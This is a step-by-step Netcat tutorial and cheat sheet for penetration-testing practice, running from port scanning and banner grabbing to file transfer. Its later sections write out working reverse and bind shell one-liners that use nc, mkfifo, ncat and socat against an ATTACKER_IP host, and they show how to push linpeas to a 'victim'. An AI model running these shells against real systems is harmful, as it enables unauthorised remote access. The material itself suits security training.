Netcat Fundamentals

Step 1 — What is Netcat?

# Check netcat version on Kali
nc --version
nc -h

# Two main modes:
# CLIENT: nc [IP] [PORT]  → connect to something
# SERVER: nc -l -p [PORT] → listen for connections

# Two common versions:
# Traditional nc (netcat-traditional) → has -e flag
# OpenBSD nc                           → no -e flag (safer)
# ncat (from nmap project)             → supports SSL, IPv6

Step 2 — Port Scanning

# Scan a single port
nc -zv 192.168.1.1 80

# Scan a range of ports
nc -zv 192.168.1.1 20-1000

# Scan UDP ports
nc -zvu 192.168.1.1 53

# Flags:
# -z → zero I/O mode (just scan, don't send data)
# -v → verbose (shows open/closed)
# -u → UDP mode
# -w 1 → timeout after 1 second

# Quick scan with timeout
nc -zv -w 1 192.168.1.1 1-1024 2>&1 | grep succeeded

Step 3 — Banner Grabbing

# Connect and see what the service says
nc 192.168.1.1 22    # SSH banner
nc 192.168.1.1 21    # FTP banner
nc 192.168.1.1 25    # SMTP banner

# Manual HTTP request
nc 192.168.1.1 80
GET / HTTP/1.0
Host: 192.168.1.1
(press Enter twice)

# The response will include the Server header:
# Server: Apache/2.4.41 (Ubuntu)

# SMTP banner grab
nc mail.example.com 25
EHLO test
(this reveals the mail server software and version)

Step 4 — Chat / Listener

# Simple two-machine chat
# Machine A — listen
nc -lvnp 1234

# Machine B — connect
nc 192.168.1.10 1234

# Now anything typed on either side appears on the other

# Keep listener open after disconnect (for catching multiple shells)
while true; do nc -lvnp 4444; done

Step 5 — File Transfer

# Send a file from attacker to victim
# Receiver first:
nc -lvnp 9999 > received_file.txt

# Sender:
nc 192.168.1.10 9999 < file_to_send.txt

# Transfer a directory (with tar)
# Receiver:
nc -lvnp 9999 | tar xvf -

# Sender:
tar cvf - /path/to/dir | nc 192.168.1.10 9999

# Transfer a binary (linpeas, tools etc.)
# On Kali (sender):
nc -lvnp 8080 < /usr/share/peass/linpeas.sh

# On victim (receiver):
nc KALI_IP 8080 > linpeas.sh && chmod +x linpeas.sh

Step 6 — Bind & Reverse Shells

# Reverse shell — victim connects to attacker
# Attacker listens:
nc -lvnp 4444

# Victim connects back (needs nc with -e flag):
nc ATTACKER_IP 4444 -e /bin/bash

# Bind shell — attacker connects to victim
# Victim opens shell on a port:
nc -lvnp 4444 -e /bin/bash

# Attacker connects:
nc VICTIM_IP 4444

# If nc doesn't have -e (OpenBSD version):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

Step 7 — Ncat & Socat

# ncat — nmap's modern netcat with SSL support
# Encrypted listener
ncat --ssl -lvnp 4444

# Encrypted reverse shell
ncat --ssl ATTACKER_IP 4444 -e /bin/bash

# Allow multiple connections
ncat -lvnp 4444 --keep-open

# socat — more powerful than netcat
# Full TTY reverse shell (best shell quality)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim:
socat tcp-connect:ATTACKER_IP:4444 exec:bash,pty,stderr,setsid,sigint,sane

📋 Netcat Cheat Sheet